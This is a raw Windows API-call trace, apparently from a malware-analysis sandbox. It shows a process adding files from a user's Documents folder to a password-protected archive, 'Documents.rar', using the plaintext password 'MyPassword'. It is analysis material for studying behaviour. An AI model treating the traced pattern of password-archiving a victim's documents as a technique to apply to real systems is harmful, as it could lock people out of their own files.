HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.054] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.056] GetTickCount () returned 0xa674e4 [0068.056] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14339633629) returned 1 [0068.056] GetTickCount () returned 0xa674e4 [0068.056] GetTickCount () returned 0xa674e4 [0068.056] GetTickCount () returned 0xa674e4 [0068.056] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.056] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.056] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.056] ResetEvent (hEvent=0x1a4) returned 1 [0068.056] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.058] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.058] ResetEvent (hEvent=0x1a4) returned 1 [0068.058] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.061] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.061] ResetEvent (hEvent=0x1a4) returned 1 [0068.061] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.063] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.063] GetTickCount () returned 0xa674f3 [0068.063] GetLastError () returned 0x0 [0068.063] SetLastError (dwErrCode=0x0) [0068.063] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.064] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.064] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.064] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.064] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14340398389) returned 1 [0068.064] GetTickCount () returned 0xa674f3 [0068.064] GetTickCount () returned 0xa674f3 [0068.064] GetTickCount () returned 0xa674f3 [0068.064] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.064] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.064] GetFocus () returned 0x0 [0068.064] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.064] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.064] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.064] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.064] ResetEvent (hEvent=0x190) returned 1 [0068.064] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.064] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.064] ResetEvent (hEvent=0x190) returned 1 [0068.064] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.065] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.065] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.065] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.065] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xdbd76 [0068.065] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xdbdd9 [0068.065] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.065] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.065] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.065] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.066] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x16ec0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x16ec0, lpOverlapped=0x0) returned 1 [0068.067] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.067] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.067] SetFilePointer (in: hFile=0x198, lDistanceToMove=900470, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xdbd76 [0068.067] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xdbd76 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.067] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a40, Size=0x48) returned 0x39daf0 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.067] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a40, Size=0x48) returned 0x39db40 [0068.067] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.067] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.067] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a70 | out: hHeap=0x2e0000) returned 1 [0068.067] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a40 | out: hHeap=0x2e0000) returned 1 [0068.067] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a10, Size=0x48) returned 0x39daf0 [0068.067] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.067] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x63, lpOverlapped=0x0) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.067] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x63) returned 0x3a12c0 [0068.067] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.067] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.067] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xf2c99 [0068.067] CloseHandle (hObject=0x1b0) returned 1 [0068.067] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.067] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.067] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.067] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.067] FindFirstFileW (in: lpFileName="F_g z.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.068] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.068] CreateFileW (lpFileName="F_g z.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\f_g z.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.068] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.068] GetTickCount () returned 0xa674f3 [0068.068] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.068] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.068] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.068] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.068] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="f7H1LR6Kr4.xlsx") returned 15 [0068.068] SetWindowTextW (hWnd=0x10280, lpString="F_g z.xlsx") returned 1 [0068.068] GetTickCount () returned 0xa674f3 [0068.068] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.068] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.069] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.069] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.069] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x2b4)) [0068.069] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.069] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14340904122) returned 1 [0068.069] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x9e76, lpOverlapped=0x0) returned 1 [0068.069] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a9eb6, nNumberOfBytesToRead=0xf618a, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a9eb6*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.069] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.069] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.069] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.069] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.069] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a70, Size=0x48) returned 0x39db40 [0068.069] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.069] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.069] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a70, Size=0x48) returned 0x39daf0 [0068.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.070] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.070] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63aa0 | out: hHeap=0x2e0000) returned 1 [0068.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a70 | out: hHeap=0x2e0000) returned 1 [0068.070] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a40, Size=0x48) returned 0x39db40 [0068.070] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.070] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.072] GetTickCount () returned 0xa674f3 [0068.072] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14341251916) returned 1 [0068.072] GetTickCount () returned 0xa674f3 [0068.072] GetTickCount () returned 0xa674f3 [0068.072] GetTickCount () returned 0xa674f3 [0068.072] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.072] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.072] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.073] ResetEvent (hEvent=0x1a4) returned 1 [0068.073] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.075] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.075] ResetEvent (hEvent=0x1a4) returned 1 [0068.075] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.076] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.076] GetTickCount () returned 0xa674f3 [0068.076] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14341784608) returned 1 [0068.078] GetTickCount () returned 0xa67503 [0068.078] GetTickCount () returned 0xa67503 [0068.078] GetTickCount () returned 0xa67503 [0068.078] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2b8 | out: ppv=0x1cd2b8*=0x3b63a40) returned 0x0 [0068.078] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b63a40, hwnd=0x10278, tbpFlags=2) returned 0x0 [0068.078] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b63a40, hwnd=0x10278, ullCompleted=0xfba16, ullTotal=0x4b42ce) returned 0x0 [0068.078] TaskbarList:IUnknown:Release (This=0x3b63a40) returned 0x0 [0068.078] GetLastError () returned 0x36b7 [0068.078] SetLastError (dwErrCode=0x36b7) [0068.078] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0068.078] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0068.078] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 5%") returned 5 [0068.078] SetWindowTextW (hWnd=0x10298, lpString=" 20%") returned 1 [0068.079] GetLastError () returned 0x0 [0068.079] SetLastError (dwErrCode=0x0) [0068.079] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0068.079] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 76%") returned 5 [0068.079] SetWindowTextW (hWnd=0x10294, lpString=" 96%") returned 1 [0068.079] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x14, lParam=0x0) returned 0x5 [0068.079] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.079] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.079] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.079] ResetEvent (hEvent=0x190) returned 1 [0068.079] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.079] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.079] ResetEvent (hEvent=0x190) returned 1 [0068.080] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.080] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.080] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.080] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.080] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xf2c99 [0068.080] SetFilePointer (in: hFile=0x198, lDistanceToMove=94, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xf2cf7 [0068.080] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.080] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.080] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.080] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.081] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x9ef0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x9ef0, lpOverlapped=0x0) returned 1 [0068.081] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.081] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.081] SetFilePointer (in: hFile=0x198, lDistanceToMove=994457, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xf2c99 [0068.081] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xf2c99 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.081] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a70, Size=0x48) returned 0x39daf0 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.081] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a70, Size=0x48) returned 0x39db40 [0068.081] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.081] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.081] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63aa0 | out: hHeap=0x2e0000) returned 1 [0068.081] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a70 | out: hHeap=0x2e0000) returned 1 [0068.081] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a40, Size=0x48) returned 0x39daf0 [0068.081] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.081] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5e, lpOverlapped=0x0) returned 1 [0068.082] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a40 [0068.082] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5e) returned 0x3a1330 [0068.082] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.082] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.082] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xfcbe7 [0068.082] CloseHandle (hObject=0x1b0) returned 1 [0068.082] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.082] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.082] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.082] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.082] FindFirstFileW (in: lpFileName="G8MmJscBgVAAB6EEG8d0.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.082] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.082] CreateFileW (lpFileName="G8MmJscBgVAAB6EEG8d0.docx" (normalized: "c:\\users\\whuoxysd\\documents\\g8mmjscbgvaab6eeg8d0.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.082] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.082] GetTickCount () returned 0xa67503 [0068.082] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.082] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.082] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.082] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.082] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="F_g z.xlsx") returned 10 [0068.082] SetWindowTextW (hWnd=0x10280, lpString="G8MmJscBgVAAB6EEG8d0.docx") returned 1 [0068.082] GetTickCount () returned 0xa67503 [0068.082] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.082] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.083] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.083] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.083] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x2c4)) [0068.083] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.083] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14342331899) returned 1 [0068.083] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x57eb, lpOverlapped=0x0) returned 1 